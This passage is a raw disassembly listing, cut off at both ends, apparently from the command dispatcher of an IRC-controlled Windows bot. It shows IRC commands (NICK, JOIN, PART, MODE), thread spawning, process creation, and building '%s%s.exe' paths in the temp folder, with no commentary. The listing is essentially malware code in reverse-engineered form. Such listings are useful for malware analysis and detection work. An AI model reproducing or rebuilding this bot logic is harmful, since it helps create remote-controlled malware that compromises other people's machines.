		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+Format]	; Format
		setnz	al
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF0],	eax
		lea	eax, [ebp+var_1DEC]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D5C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_1D58],	eax
		push	[ebp+Source]
		lea	eax, [ebp+Dst]
		push	offset asc_42A818 ; "-"
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	15h		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_1D6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF0]
		push	ebx
		push	eax
		push	offset sub_412E9E
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_1D6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_408224


loc_408212:				; CODE XREF: sub_401ACD+6755j
		cmp	[ebp+var_1D54],	ebx
		jnz	short loc_40828C
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_408212
; ---------------------------------------------------------------------------


loc_408224:				; CODE XREF: sub_401ACD+6743j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A7E0
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_408235:				; CODE XREF: sub_401ACD+6684j
		push	offset unk_42A7A8
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_40823F:				; CODE XREF: sub_401ACD+4B56j
					; sub_401ACD+4B6Dj
		push	edi
		push	[ebp+Source]
		call	ds:dword_4270B4	; MoveFileA
		test	eax, eax
		jz	short loc_40826C
		push	edi
		lea	eax, [ebp+Dst]
		push	[ebp+Source]
		push	offset asc_42A784 ; "-"
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		jmp	short loc_40828C
; ---------------------------------------------------------------------------


loc_40826C:				; CODE XREF: sub_401ACD+677Ej
		push	offset dword_42A778
		call	sub_41814D
		pop	ecx
		push	eax		; Format
		lea	eax, [ebp+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf


loc_408289:				; CODE XREF: sub_401ACD+2F2Bj
					; sub_401ACD+5570j
		add	esp, 0Ch


loc_40828C:				; CODE XREF: sub_401ACD+2137j
					; sub_401ACD+2ECDj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BD
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int


loc_4082A9:				; CODE XREF: sub_401ACD+57C7j
		call	sub_409A73
		add	esp, 14h
		jmp	loc_4083BD
; ---------------------------------------------------------------------------


loc_4082B6:				; CODE XREF: sub_401ACD+4B28j
					; sub_401ACD+4B3Fj
		push	[ebp+Source]	; Format
		lea	eax, [ebp+var_3F04]
		push	104h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_4082F0
		push	edi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4082F0
		push	eax		; Format
		lea	eax, [ebp+var_3E00]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_4082F0:				; CODE XREF: sub_401ACD+6803j
					; sub_401ACD+6812j
		push	[ebp+Format]	; Format
		lea	eax, [ebp+var_3F84]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F88],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CF8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF4],	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		lea	eax, [ebp+var_3F04]
		push	eax
		push	offset asc_42A748 ; "-"
		lea	eax, [ebp+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	24h		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_3CFC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F88]
		push	ebx
		push	eax
		push	offset sub_416CAE
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_3CFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4083A2


loc_408390:				; CODE XREF: sub_401ACD+68D3j
		cmp	[ebp+var_3CF0],	ebx
		jnz	short loc_4083BD
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_408390
; ---------------------------------------------------------------------------


loc_4083A2:				; CODE XREF: sub_401ACD+68C1j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset asc_42A70C ; "-"


loc_4083AE:				; CODE XREF: sub_401ACD+925j
					; sub_401ACD+A63j ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_4083BD:				; CODE XREF: sub_401ACD+7E1j
					; sub_401ACD+94Cj ...
		push	1
		pop	esi
		jmp	loc_406D03
; ---------------------------------------------------------------------------


loc_4083C5:				; CODE XREF: sub_401ACD+4AFAj
					; sub_401ACD+4B11j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi		; Size
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	[ebp+Source]	; Str
		mov	[ebp+var_63C], esi
		call	_atoi
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408404
		mov	[ebp+var_638], 5


loc_408404:				; CODE XREF: sub_401ACD+692Cj
		cmp	[ebp+var_C], ebx
		jz	loc_406CDF
		push	edi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406CDF
		lea	eax, [ebp+var_E10]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	ds:dword_42706C	; CreateProcessA
		test	eax, eax
		jnz	short loc_40844D
		push	offset unk_42A6E8
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_40844D:				; CODE XREF: sub_401ACD+6974j
		push	edi
		push	offset dword_42A6CC
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_408458:				; CODE XREF: sub_401ACD+4ACCj
					; sub_401ACD+4AE3j
		push	edi		; Str2
		push	offset aQsfposs	; "qsfposs"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085D1
		lea	eax, [ebp+var_48F0]
		push	eax
		push	104h
		call	ds:dword_4270B0	; GetTempPathA
		push	0FFh		; Count
		lea	eax, [ebp+var_25D0]
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+var_17D0]
		push	eax
		call	sub_40AD81
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_24D0]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax		; Dest
		call	_sprintf
		mov	eax, [ebp+esi+Str2]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23CC],	1
		mov	[ebp+var_23C8],	ebx
		jz	short loc_4084ED
		push	10h		; Radix
		push	ebx		; EndPtr
		push	eax		; Str
		call	_strtoul
		add	esp, 0Ch
		mov	[ebp+var_23C0],	eax
		jmp	short loc_4084F3
; ---------------------------------------------------------------------------


loc_4084ED:				; CODE XREF: sub_401ACD+6A0Aj
		mov	[ebp+var_23C0],	ebx


loc_4084F3:				; CODE XREF: sub_401ACD+6A1Ej
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_40850A
		push	esi		; Str
		call	_atoi
		pop	ecx
		mov	[ebp+var_23C4],	eax
		jmp	short loc_408510
; ---------------------------------------------------------------------------


loc_40850A:				; CODE XREF: sub_401ACD+6A2Cj
		mov	[ebp+var_23C4],	ebx


loc_408510:				; CODE XREF: sub_401ACD+6A3Bj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh		; Count
		push	[ebp+Format]	; Source
		mov	[ebp+var_23BC],	eax
		lea	eax, [ebp+var_2650]
		mov	[ebp+var_2654],	esi
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B4],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+Source]
		mov	[ebp+var_23B8],	eax
		lea	eax, [ebp+Dst]
		push	offset asc_42A694 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	1Eh		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_23D0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2654]
		push	ebx
		push	eax
		push	offset sub_4163FA
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_23D0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4085C0


loc_4085AA:				; CODE XREF: sub_401ACD+6AF1j
		cmp	[ebp+var_23B0],	ebx
		jnz	loc_406CDF
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_4085AA
; ---------------------------------------------------------------------------


loc_4085C0:				; CODE XREF: sub_401ACD+6ADBj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42A658
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4085D1:				; CODE XREF: sub_401ACD+699Aj
		push	offset asc_42A610 ; "-"


loc_4085D6:				; CODE XREF: sub_401ACD+2E74j
					; sub_401ACD+457Dj ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	loc_406CDF
; ---------------------------------------------------------------------------


loc_4085E9:				; CODE XREF: sub_401ACD+4A9Ej
					; sub_401ACD+4AB5j
		push	dword ptr [ebp+Args] ; Str2
		push	offset a332	; "332"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+Format]
		push	dword ptr [ebp+Args]
		push	[ebp+var_90]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	1FFh		; Count
		push	eax		; Source
		push	[ebp+Src]	; Dest
		call	_strncpy
		push	[ebp+Source]	; Str
		call	_atoi
		add	esp, 28h
		test	eax, eax
		jle	short loc_408674
		push	[ebp+Source]	; Str
		call	_atoi
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	ds:dword_427078	; Sleep


loc_408674:				; CODE XREF: sub_401ACD+6B8Fj
		push	offset dword_42A5EC
		call	sub_4151AD
		mov	eax, [ebp+File]
		pop	ecx
		inc	eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408688:				; CODE XREF: sub_401ACD+4A70j
					; sub_401ACD+4A87j
		push	dword ptr [ebp+Args] ; Str2
		push	offset a332	; "332"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi		; Str1
		mov	esi, eax
		call	_strcmp
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408746
		push	[ebp+Format]
		lea	eax, [ebp+Dst]
		push	dword ptr [ebp+Args]
		push	[ebp+var_90]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	1FFh		; Count
		push	eax		; Source
		push	[ebp+Src]	; Dest
		call	_strncpy
		add	esp, 24h
		lea	eax, [ebp+Dst]
		push	esi
		push	offset asc_42A5D4 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_4151AD
		push	[ebp+Source]	; Str
		call	_atoi
		add	esp, 14h
		test	eax, eax
		jle	loc_409855
		push	[ebp+Source]	; Str
		call	_atoi
		add	eax, [ebp+File]
		pop	ecx
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408746:				; CODE XREF: sub_401ACD+6BFBj
		push	offset asc_42A5A0 ; "-"


loc_40874B:				; CODE XREF: sub_401ACD+7543j
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_40875A:				; CODE XREF: sub_401ACD+74CBj
					; sub_401ACD+7624j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40877B
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409A73
		add	esp, 14h


loc_40877B:				; CODE XREF: sub_401ACD+6C90j
					; sub_401ACD+72C8j ...
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_4151AD
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_40878C:				; CODE XREF: sub_401ACD+4A42j
					; sub_401ACD+4A59j
		push	7Fh		; Count
		lea	eax, [ebp+var_2214]
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		push	7Fh		; Count
		lea	eax, [ebp+var_2194]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	7Fh		; Count
		lea	eax, [ebp+var_2114]
		push	[ebp+Format]	; Source
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2090],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+Source]
		mov	[ebp+var_208C],	eax
		lea	eax, [ebp+Dst]
		mov	[ebp+var_2218],	esi
		push	offset asc_42A56C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	0Fh		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_2094],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2218]
		push	ebx
		push	eax
		push	offset sub_4143CC
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_2094]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40884C


loc_40883A:				; CODE XREF: sub_401ACD+6D7Dj
		cmp	[ebp+var_2088],	ebx
		jnz	short loc_408867
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_40883A
; ---------------------------------------------------------------------------


loc_40884C:				; CODE XREF: sub_401ACD+6D6Bj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset asc_42A530 ; "-"


loc_408858:				; CODE XREF: sub_401ACD+6E8Aj
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_408867:				; CODE XREF: sub_401ACD+6D73j
					; sub_401ACD+6E6Ej
		cmp	[ebp+var_8], ebx
		jnz	loc_409631
		push	ebx
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]
		push	eax
		push	[ebp+Format]
		push	esi
		jmp	loc_409629
; ---------------------------------------------------------------------------


loc_408887:				; CODE XREF: sub_401ACD+4A14j
					; sub_401ACD+4A2Bj
		push	7Fh		; Count
		lea	eax, [ebp+var_23A8]
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		push	7Fh		; Count
		lea	eax, [ebp+var_2328]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	7Fh		; Count
		lea	eax, [ebp+var_22A8]
		push	[ebp+Format]	; Source
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2224],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+Source]
		mov	[ebp+var_2220],	eax
		lea	eax, [ebp+Dst]
		mov	[ebp+var_23AC],	esi
		push	offset asc_42A504 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	11h		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_2228],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23AC]
		push	ebx
		push	eax
		push	offset sub_413B78
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_2228]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40894B


loc_408935:				; CODE XREF: sub_401ACD+6E7Cj
		cmp	[ebp+var_221C],	ebx
		jnz	loc_408867
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_408935
; ---------------------------------------------------------------------------


loc_40894B:				; CODE XREF: sub_401ACD+6E66j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42A4C8
		jmp	loc_408858
; ---------------------------------------------------------------------------


loc_40895C:				; CODE XREF: sub_401ACD+49E6j
					; sub_401ACD+49FDj
		push	edi
		lea	eax, [ebp+Dst]
		push	offset aPartS_0	; "PART	%s"
		push	eax		; Dest
		call	_sprintf
		push	[ebp+Source]	; Str
		call	_atoi
		add	esp, 10h


loc_408979:				; CODE XREF: sub_401ACD+6F17j
		test	eax, eax
		jle	loc_409855
		push	[ebp+Source]	; Str
		call	_atoi
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855


loc_408995:				; CODE XREF: sub_401ACD+7A56j
		lea	eax, [ebp+Dst]
		push	eax		; Args
		push	offset aS	; "%s\r\n"
		push	[ebp+Source]	; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax] ; int
		call	sub_409A2D
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_4089C0:				; CODE XREF: sub_401ACD+49B8j
					; sub_401ACD+49CFj
		push	[ebp+esi+Str2]
		lea	eax, [ebp+Dst]
		push	edi
		push	offset aJoinSS_0 ; "JOIN %s %s"
		push	eax		; Dest
		call	_sprintf
		push	[ebp+Source]	; Str
		call	_atoi
		add	esp, 14h
		jmp	short loc_408979
; ---------------------------------------------------------------------------


loc_4089E6:				; CODE XREF: sub_401ACD+498Aj
					; sub_401ACD+49A1j
		push	edi
		lea	eax, [ebp+Dst]
		push	offset aNickS_0	; "NICK	%s"
		push	eax		; Dest
		call	_sprintf
		mov	esi, [ebp+Source]
		push	esi		; Str
		call	_atoi
		add	esp, 10h
		test	eax, eax
		jle	loc_409855
		push	esi		; Str
		call	_atoi
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		lea	eax, [ebp+Dst]
		push	eax		; Args
		push	offset aS	; "%s\r\n"
		push	esi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax] ; int
		call	sub_409A2D
		add	esp, 0Ch
		push	edi
		push	esi		; Args
		push	offset dword_42A490 ; Format


loc_408A4C:				; CODE XREF: sub_401ACD+700Aj
					; sub_401ACD+7079j ...
		call	sub_415221
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_408A56:				; CODE XREF: sub_401ACD+495Cj
					; sub_401ACD+4973j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408A85
		push	esi
		lea	eax, [ebp+Dst]
		push	offset aModeS	; "MODE	%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_408A85:				; CODE XREF: sub_401ACD+6FA1j
		mov	edi, [ebp+Source]
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	edi		; Str
		call	_atoi
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		lea	eax, [ebp+Dst]
		push	eax		; Args
		push	offset aS	; "%s\r\n"
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax] ; int
		call	sub_409A2D
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A46C
		jmp	loc_408A4C
; ---------------------------------------------------------------------------


loc_408ADC:				; CODE XREF: sub_401ACD+492Ej
					; sub_401ACD+4945j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409855
		mov	edi, [ebp+Source]
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	edi		; Str
		call	_atoi
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		push	esi		; Args
		push	offset aS	; "%s\r\n"
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax] ; int
		call	sub_409A2D
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A450
		jmp	loc_408A4C
; ---------------------------------------------------------------------------


loc_408B4B:				; CODE XREF: sub_401ACD+4900j
					; sub_401ACD+4917j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+Source]	; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409855
		push	esi		; Args
		push	offset aModeS_0	; "MODE	%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409A2D
		add	esp, 0Ch
		push	esi
		push	offset unk_42A428
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_408B87:				; CODE XREF: sub_401ACD+48D2j
					; sub_401ACD+48E9j
		push	dword ptr [ebp+Args] ; Str2
		push	offset a332	; "332"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		push	edi		; Args
		push	offset aPartS_1	; "PART	%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409A2D
		push	[ebp+Source]	; Str
		call	_atoi
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	ds:dword_427078	; Sleep
		push	[ebp+esi+Str2]
		push	edi		; Args
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409A2D
		push	offset dword_42A408
		call	sub_4151AD
		jmp	loc_403520
; ---------------------------------------------------------------------------


loc_408BEB:				; CODE XREF: sub_401ACD+48A4j
					; sub_401ACD+48BBj
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+Source]	; Str
		call	_strlen
		push	[ebp+arg_8]	; Str
		mov	esi, eax
		call	_strlen
		add	eax, [ebp+var_C]
		push	edi		; SubStr
		lea	eax, [eax+esi+2]
		push	eax		; Str
		call	_strstr
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409855
		push	esi
		lea	eax, [ebp+Dst]
		push	offset dword_42AB3C ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	ebx		; int
		push	eax		; int
		push	[ebp+Source]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409A73
		add	esp, 20h
		push	esi
		push	[ebp+Source]
		push	offset unk_42A3EC
		jmp	loc_408A4C
; ---------------------------------------------------------------------------


loc_408C58:				; CODE XREF: sub_401ACD+4876j
					; sub_401ACD+488Dj
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+Source]	; Str
		call	_strlen
		push	[ebp+arg_8]	; Str
		mov	esi, eax
		call	_strlen
		add	eax, [ebp+var_C]
		push	edi		; SubStr
		lea	eax, [eax+esi+2]
		push	eax		; Str
		call	_strstr
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409855
		push	ebx		; int
		push	ebx		; int
		push	esi		; int
		push	[ebp+Source]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409A73
		add	esp, 14h
		push	esi
		push	[ebp+Source]
		push	offset unk_42A3CC
		jmp	loc_408A4C
; ---------------------------------------------------------------------------


loc_408CAD:				; CODE XREF: sub_401ACD+4848j
					; sub_401ACD+485Fj
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		push	eax		; int
		push	[ebp+Source]	; Str2
		call	sub_4150B5
		pop	ecx
		pop	ecx
		push	[ebp+Source]
		push	offset asc_42A3AC ; "-"


loc_408CDC:				; CODE XREF: sub_401ACD+5853j
					; sub_401ACD+7B2Bj
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	loc_409610
; ---------------------------------------------------------------------------


loc_408CF0:				; CODE XREF: sub_401ACD+481Aj
					; sub_401ACD+4831j
		push	edi		; int
		push	[ebp+Source]	; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_4184E2
		jmp	loc_4040FD
; ---------------------------------------------------------------------------


loc_408D0A:				; CODE XREF: sub_401ACD+47DCj
					; sub_401ACD+47F1j
		push	[ebp+Source]	; SubStr
		push	[ebp+arg_1C]	; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409855
		mov	esi, [ebp+esi+Format]
		cmp	esi, ebx
		jz	loc_408DB2
		push	esi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408D9A
		push	esi
		lea	eax, [ebp+Dst]
		push	[ebp+Format]
		push	dword ptr [ebp+Args]
		push	[ebp+var_90]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	1FFh		; Count
		push	eax		; Source
		push	[ebp+Src]	; Dest
		call	_strncpy
		add	esp, 24h
		lea	eax, [ebp+Dst]
		push	esi
		push	[ebp+Source]
		push	offset asc_42A384 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		inc	[ebp+File]
		jmp	loc_40877B
; ---------------------------------------------------------------------------


loc_408D9A:				; CODE XREF: sub_401ACD+7270j
		lea	eax, [ebp+Dst]
		push	offset asc_42A354 ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	loc_40877B
; ---------------------------------------------------------------------------


loc_408DB2:				; CODE XREF: sub_401ACD+725Bj
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF7
		add	esp, 0Ch
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409A73
		add	esp, 14h
		lea	eax, [ebp+Dst]
		push	[ebp+Source]
		push	offset asc_42A338 ; "-"
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		jmp	loc_40877B
; ---------------------------------------------------------------------------


loc_408DFE:				; CODE XREF: sub_401ACD+47B2j
					; sub_401ACD+47C7j
		push	offset aScreen	; "screen"
		push	[ebp+Source]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408E59
		mov	edi, [ebp+esi+Format]
		cmp	edi, ebx
		jz	short loc_408E46
		push	edi
		call	sub_4153BD
		cmp	eax, 1
		pop	ecx
		jnz	short loc_408E3F
		push	edi
		lea	eax, [ebp+Dst]
		push	offset asc_42A304 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	short loc_408E59
; ---------------------------------------------------------------------------


loc_408E3F:				; CODE XREF: sub_401ACD+7359j
		push	offset unk_42A2D4
		jmp	short loc_408E4B
; ---------------------------------------------------------------------------


loc_408E46:				; CODE XREF: sub_401ACD+734Dj
		push	offset asc_42A298 ; "-"


loc_408E4B:				; CODE XREF: sub_401ACD+7377j
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_408E59:				; CODE XREF: sub_401ACD+7342j
					; sub_401ACD+7370j
		push	offset aDrivers	; "drivers"
		push	[ebp+Source]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408EE6
		xor	edi, edi


loc_408E6E:				; CODE XREF: sub_401ACD+7404j
		lea	eax, [ebp+var_53F8]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	0FFh
		push	eax
		push	edi
		call	dword_4CB684
		test	eax, eax
		jz	short loc_408ECD
		lea	eax, [ebp+var_53F8]
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	eax
		push	edi
